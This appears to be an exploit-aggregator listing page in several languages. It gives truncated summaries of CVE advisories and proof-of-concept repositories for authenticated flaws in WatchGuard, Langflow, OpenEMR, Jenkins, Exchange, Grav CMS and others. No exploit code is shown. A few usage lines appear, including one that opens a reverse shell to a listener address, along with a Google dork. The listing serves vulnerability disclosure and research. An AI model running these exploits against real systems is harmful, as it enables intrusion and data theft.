EUVD-2026-88363

An OS command injection vulnerability in the WatchGuard AP diagnostic CLI allows an authenticated administrator to execute arbitrary operating system commands by supplying crafted input...

CVE-2026-87969 WatchGuard AP Authenticated Command Injection in Diagnostic CLI

An OS command injection vulnerability in the WatchGuard AP diagnostic CLI allows an authenticated administrator to execute arbitrary operating system commands by supplying crafted input...

CVE-2026-87969

A WatchGuard AP OS command injection vulnerability exists within the diagnostic CLI . An authenticated administrator can execute arbitrary operating system commands by providing crafted input. While the technical root cause is not detailed beyond the input handling flaw, the impact allows for ful...

GO-2026-6517 kcp front-proxy does not strip inbound X-Remote-* identity headers, allowing any authenticated client to inject groups/warrants and impersonate system:masters in any workspace in github.com/kcp-dev/kcp

kcp front-proxy does not strip inbound X-Remote- identity headers, allowing any authenticated client to inject groups/warrants and impersonate system:masters in any workspace in github.com/kcp-dev/kcp...

CVE-2023-5412

CVE-2023-5412 Image horizontal reel scroll slideshow = 13.2 - 인증된 구독자 이상 사용자를 통한 숏코드 SQL 인젝션 설명: WordPress용 Image horizontal reel scroll slideshow 플러그인은 버전 13.2까지 포함 숏코드를 통해 SQL 인젝션에 취약합니다. 이는 사용자 제공 파라미터에 대한 이스케이프 처리 부족과 기존 SQL 쿼리에 대한 충분한 준비 부족으로 인해 발생합니다. 이로 인해 구독자subscriber 이상의 권한을 가진 인증된 공격자가...

CVE-2021-21551

CVE-2021-21551 Dell 드라이버 EoP CVE-2021-21551 설명 Dell dbutil23.sys 드라이버에는 불충분한 액세스 제어 취약점이 포함되어 있어 권한 상승, 서비스 거부 또는 정보 공개로 이어질 수 있습니다. 로컬 인증된 사용자 액세스가 필요합니다. 이 익스플로잇은 Windows 10 v1511에서 테스트되었습니다. 권고 링크...

TP-Link-ArcherC5-RCE

TP-Link Archer C5 악성 구성 파일 업로드를 통한 인증된 원격 코드 실행 CVE-2018-19537 설명 TP-Link Archer C5 라우터의 모든 출시된 펌웨어 버전에 인증된 원격 코드 실행RCE 취약점이 존재합니다. 악의적으로 조작된 구성 파일을 업로드함으로써 공격자는 루트 권한으로 실행되는 OS 명령어를 주입할 수 있습니다. Archer C5 라우터는 관리 사용자가 현재 구성 매개변수를 파일에 저장하고 파일에서 매개변수를 복원할 수 있도록 합니다. 이러한 매개변수는 사용자가 웹 GUI 내에서 설정하려고 할...

CVE-2026-101861

Langflow versions 1.0.16 before 1.12.0 and 0.0.94 before 1.12.0 are vulnerable to code execution due to an unsafe eval() sink in schema.py. Authenticated attackers can achieve execution by placing a Python object with a malicious __repr__ method into component input options lists. The vulnerabili...

CVE-2026-101861 Langflow Code Execution via eval() in Component Input Schema

Langflow 1.0.16 before 1.12.0 and 0.0.94 before 1.12.0 contain an unsafe eval vulnerability in schema.py that allows authenticated attackers to achieve code execution by placing a Python object with a malicious repr method into component input options lists. The eval sink is triggered when a...

CVE-2024-46987

CVE-2024-46987 - Camaleon CMS 인증된 임의 파일 읽기 이 저장소에는 Camaleon CMS 에서 임의 파일 읽기LFI / 경로 탐색를 허용하는 CVE-2024-46987 에 대한 개념 증명PoC 스크립트가 포함되어 있습니다. 설명 Camaleon CMS 버전 2.8.0 2.8.2 미만이상하게도 2.9.0에서도 동작함에서 경로 탐색 취약점이 확인되었습니다. 이 취약점은 MediaController의 downloadprivatefile 메서드에 있습니다. 이 취약점은 인증된 사용자가 file 매개변수를 조작...

CVE-2026-38751

CVE-2026-38751 — OpenSTAManager Module Upload RCE 모듈 업데이트 엔드포인트에서 검증되지 않은 ZIP 업로드를 통한 인증된 RCE. 영향받는 버전: OpenSTAManager = 2.10.x 요구 사항 pip install requests 사용법 Reverse shell Penelope or any listener python3 exploit.py -u http://TARGET -U admin -P admin --lhost 10.10.14.X --lport 4444 Interactive...

CVE-2021-44967

CVE-2021-44967 Exploit Title: LimeSurvey 5.2.4 - Authenticated Remote Code Execution RCE Google Dork: inurl:limesurvey/index.php/admin/authentication/sa/login Date: 05/12/2021 Discovered by: Y1LD1R1M Exploit Author: D3Ext Vendor Homepage: https://www.limesurvey.org/ Software Link:...

CVE-2026-24849

CVE-2026-24849 OpenEMR 인증된 임의 파일 읽기 EtherFax disposeDoc 테스트 환경: OpenEMR 버전 = 7.0.2 CVE-2026-24849 에 대한 개념 증명 익스플로잇으로, OpenEMR의 Fax/SMS EtherFax 모듈에서 인증된 경로 탐색/임의 파일 읽기 취약점입니다. 모든 인증된 사용자권한 수준에 관계없이는 웹 서버 사용자 권한으로 서버 파일 시스템의 임의 파일데이터베이스 자격 증명, 환자 문서/PHI, /etc/passwd 등을 읽을 수 있습니다. | ---|--- CVE|...

OpenPLC-CVE-2021-31630-RCE

OpenPLC v3 認証済みRCE（CVE-2021-31630） これは、OpenPLC v3 の脆弱性 CVE-2021-31630 向けの、モダンな Python 3.13+ 互換の概念実証（PoC）エクスプロイトです。この脆弱性により、認証済みユーザーが悪意のあるコードを含むカスタムハードウェアレイヤーをアップロードし、ホスト上でリモートコード実行（RCE）を引き起こすことが可能になります。 元の脆弱性の発見とアドバイザリは Fellipe Oliveira によるものです。 この再実装および近代化版では、httpx、CLIツール、ロギング、より安全な検出技術を使用しています。...

CVE-2023-40355

🚨 CVE-2023-40355 검사기 CVE-2023-40355 검사기 에 오신 것을 환영합니다! 이 Python 스크립트는 웹 애플리케이션에서 CVE-2023-40355 취약점을 테스트하기 위해 설계되었습니다. 📋 설명 Axigen 10.3.3.0 이상 10.3.3.59 미만, 10.4.0 이상 10.4.19 미만, 10.5.0 이상 10.5.5 미만 버전의 XSS교차 사이트 스크립팅 취약점으로, 인증된 공격자가 Standard와 Ajax 버전 간 전환 로직을 통해 임의 코드를 실행하고 민감한 정보를 얻을 수 있습니다. 📋 ...

CVE-2021-45010

CVE-2021-45010 🐍 CVE-2021-45010을 위한 조작된 Python PoC 익스플로잇 Tiny File Manager 2.4.7 사용법 usage: main.py -h -u URL -l USERNAME -p PASSWORD -g GUIPATH -r FSRELPATH options: -h, --help show this help message and exit -u URL, --url URL Base URL -l USERNAME, --username USERNAME Username -p PASSWORD,...

CVE-2024-49699

CVE-2024-49699 ARPrice...

CVE-2020-0688

CVE-2020-0688 Microsoft Exchange Server 고정 암호화 키 원격 코드 실행 RCE 각 설치에 대해 무작위로 생성된 키를 사용하는 대신, 모든 Microsoft Exchange Server 설치에는 web.config에 동일한 validationKey 및 decryptionKey 값이 있습니다. 따라서 인증된 공격자는 서버를 속여 악의적으로 조작된 ViewState 데이터를 역직렬화하도록 만들 수 있습니다. YSoSerial.net의 도움으로 공격자는 SYSTEM 권한으로 실행되는 Exchange...

PoC-Fix-jenkins-rce_CVE-2024-23897

PoC-jenkins-rceCVE-2024-23897. 이 Git 저장소에서 CVE-2024-23897에 대한 모든 정보를 찾을 수 있습니다. 소개 이 문제는 CVE 식별자 CVE-2024-23897로 지정되었으며, 내장 명령줄 인터페이스를 통한 임의 파일 읽기 취약점으로 설명되었습니다. 이 명령 파서에는 인수에서 @ 문자 다음에 파일 경로가 오는 부분을 파일의 내용으로 대체하는 기능expandAtFiles이 있습니다. 이 기능은 기본적으로 활성화되어 있으며, Jenkins 2.441 및 이전 버전, LTS 2.426.2 및 ...

Grav-CMS-RCE-Authenticated

Grav CMS 원격 코드 실행 인증됨 - CVE-2024-28116 정보 이 코드는Graver 깃허브 저장소에서 가져와 이 영상을 기반으로 일부 개선한 것입니다. Grav CMS 버전 1.7.45 미만에 대한 SSTI + RCE 취약점을 이용한 익스플로잇으로, CVE-2024-28116로 명명되었습니다. 이 스크립트는 기본적으로 취약점이 포함된 페이지를 생성하고, 실행한 후, 마지막으로 페이지를 삭제합니다. 사용법 python3 GravCMSRCE.py -t http://10.10.10.10 -u 'admin' -p...